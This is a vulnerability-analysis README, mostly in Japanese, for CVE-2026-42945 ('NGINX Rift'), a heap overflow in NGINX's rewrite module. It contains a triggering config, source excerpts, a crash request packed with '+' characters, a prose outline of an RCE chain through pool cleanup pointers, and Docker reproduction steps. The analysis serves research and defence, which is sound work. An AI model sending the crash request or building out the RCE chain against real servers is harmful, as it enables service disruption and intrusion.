
NGINX Rift 漏洞分析与复现
CVE-2026-42945(コードネーム「NGINX Rift」)は、NGINX の ngx_http_rewrite_module に存在するヒープバッファオーバーフロー脆弱性であり、CVSS v4 スコアは 9.2(Critical) です。
この脆弱性は depthfirst セキュリティ研究チームにより2026年4月に発見され、2008年に NGINX 0.6.27 で導入されて以来、18年間潜伏していました。
この脆弱性をトリガーするには、以下の NGINX 設定パターンが必要です:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
重要な条件:
rewrite ディレクティブの置換文字列に ?(クエスチョンマーク)が含まれるset ディレクティブが正規表現のキャプチャグループ(例:$1)を参照する+, &, % など)が含まれるNGINX のスクリプトエンジンは rewrite/set ディレクティブを実行するために2段階処理を使用します:
この脆弱性の核心は、2つの段階間のエンジン状態の不整合にあります:
rewrite が is_args フラグを設定するrewrite ディレクティブの置換文字列に ? が含まれる場合、ngx_http_script_start_args_code 関数が以下を設定します:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // 永久设置,从不重置!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set ディレクティブの長さ計算は新しい子エンジンを使用する後続の set ディレクティブがキャプチャグループを参照する場合、ngx_http_script_complex_value_code は全ゼロの子エンジンを作成します:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
長さ計算(子エンジン le を使用、is_args=0):
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0,条件为 false,走 else 分支
return cap[n + 1] - cap[n]; // 返回原始长度(未转义)
}
実際のコピー(メインエンジン e を使用、is_args=1):
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1,条件为 true,走 if 分支
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// 每个可转义字符从 1 字节扩展为 3 字节!
}
raw_size(元のキャプチャ長)raw_size + 2 * N(N = エスケープ可能な文字数)例えば、URI に + が100個含まれる場合、オーバーフロー量は200バイトになります。
最も簡単な悪用方法 - エスケープ可能な文字を大量に含むリクエストを送信するだけで、worker プロセスをクラッシュさせることができます:
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
完全な RCE 悪用チェーン(ASLR が無効化されているか、回避されている必要があります):
ngx_pool_t のヒープレイアウトを操作するcleanup ポインタの上書き:隣接するメモリプール構造体へオーバーフローさせるsystem() のアドレスを含む偽造構造体を注入するngx_destroy_pool が cleanup リンクリストを走査するようにするNGINX のマルチプロセスアーキテクチャにより悪用がより確実になります - worker がクラッシュすると、master がメモリレイアウトがまったく同じ新しい worker をフォークします。
README.md - 本ファイル(脆弱性分析ドキュメント)Dockerfile - 脆弱性のある NGINX 環境を構築nginx.conf - 脆弱性をトリガーする NGINX 設定poc_crash.py - DoS PoC(worker のクラッシュをトリガー)docker-compose.yml - ワンクリックでテスト環境を起動# 1. 构建并启动易受攻击的 NGINX
docker-compose up -d
# 2. 运行 DoS PoC
python3 poc_crash.py
# 3. 查看 NGINX 错误日志确认崩溃
docker-compose logs nginx
本資料はセキュリティ研究および教育目的のみに使用してください。この情報を許可のない攻撃行為に使用しないでください。